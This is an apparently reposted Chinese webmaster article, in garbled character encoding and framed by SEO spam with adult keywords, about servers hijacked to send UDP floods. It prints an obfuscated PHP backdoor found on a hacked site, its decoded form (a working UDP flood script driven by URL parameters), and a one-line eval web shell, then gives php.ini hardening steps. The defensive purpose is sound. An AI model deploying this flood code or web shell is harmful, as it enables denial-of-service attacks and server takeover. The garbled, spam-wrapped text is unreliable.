国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 網(wǎng)站 > 建站經(jīng)驗(yàn) > 正文

win2003遭受udp攻擊導(dǎo)致帶寬占用很大

2019-11-02 16:16:02
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
后來(lái)發(fā)現(xiàn)在一個(gè)網(wǎng)站里面發(fā)現(xiàn)一個(gè)加密的.解密后看到很熟悉的 udp 莫非有關(guān)系?.果然 也有朋友遇到這樣的情況,看來(lái)封禁對(duì)外udp是很必要的,

以下為轉(zhuǎn)帖:

關(guān)于近期一些服務(wù)器遭受UDP攻擊的說(shuō)明

近來(lái)我有一兩臺(tái)服務(wù)器顯示經(jīng)常受到udp攻擊

導(dǎo)致服務(wù)器帶寬占用到100%,用華盾查流量占用也無(wú)法查到具體是哪個(gè)站被攻擊了,起初以為是cc攻擊,因?yàn)橥V沽薸is帶寬就為0了,其實(shí)不然,都是部分用戶(hù)被入侵導(dǎo)致的

下面我想說(shuō)一下被入侵的原理

用戶(hù)程序中的一個(gè)php頁(yè)面的原代碼:

<?php

/*

gl

*/

eval(gzinflate(base64_decode('

DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw

6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLb

VkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGY

ibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4

wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG

3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci1

3dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCw

xiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOu

SJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Aw

e8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnu

bV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3c

hsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));

經(jīng)過(guò)N次解密后的代碼:

復(fù)制代碼 代碼如下:

<?php

$packets = 0;

$ip = $_GET[/'ip/'];

$rand = $_GET[/'port/'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[/'time/'];

$time = time();

print /"Flooded: $ip on port $rand <br><br>/";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= /"X/";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen(/"udp://$ip/", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo /"Packet complete at /".time(/'h:i:s/')./" with $packets (/" . round(($packets*65)/1024, 2) . /" mB) packets averaging /". round($packets/$exec_time, 2) . /" packets/s //n/";

?>

<?php eval($_POST[ddos])?>

baidu了一下工作原理:

先把你代碼放到一個(gè)正常的網(wǎng)頁(yè)中.

通過(guò)url傳遞IP和端口以u(píng)dp的方式打開(kāi).傳遞文件到服務(wù)器寫(xiě)出.

這樣服務(wù)器就中招了.

也就是服務(wù)器顯示udp攻擊,帶寬占用非常之嚴(yán)重,基本是100%,一般徘徊在97%-99%之間

解決方案:

在php.ini中限制php用網(wǎng)絡(luò)。

在php.ini里設(shè)其值為Off

allow_url_fopen = Off

并且:

;extension=php_sockets.dll

前面的;號(hào)一定要有,意思就是限制用sockets.dll
發(fā)表評(píng)論 共有條評(píng)論
用戶(hù)名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 望都县| 个旧市| 云龙县| 日照市| 杭锦旗| 泰宁县| 梅河口市| 荔浦县| 高唐县| 双流县| 融水| 重庆市| 田东县| 新源县| 贵南县| 印江| 江达县| 怀柔区| 伊通| 沐川县| 桐乡市| 双江| 阿克| 扎兰屯市| 镇坪县| 龙海市| 临沧市| 宝山区| 甘泉县| 乌什县| 包头市| 淳安县| 双峰县| 年辖:市辖区| 织金县| 丰原市| 天峨县| 阿瓦提县| 金乡县| 文水县| 富裕县|